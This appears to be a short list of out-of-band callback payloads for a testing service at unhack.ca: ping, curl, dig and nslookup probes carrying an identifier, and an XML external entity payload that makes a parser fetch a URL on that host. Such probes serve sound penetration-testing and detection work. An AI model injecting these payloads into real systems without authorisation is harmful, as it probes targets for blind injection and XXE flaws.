$ ping -c1 -p 004aa053112266867244c2dc61775600 unhack.ca
 

$ curl http://unhack.ca/p/4aa053112266867244c2dc617756
 

$ dig 4aa053112266867244c2dc617756 @unhack.ca
 

$ dig 4aa053112266867244c2dc617756.ns.unhack.ca
 

C:\> nslookup 4aa053112266867244c2dc617756 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/4aa053112266867244c2dc617756">]>
    <foo>&xxe;</foo>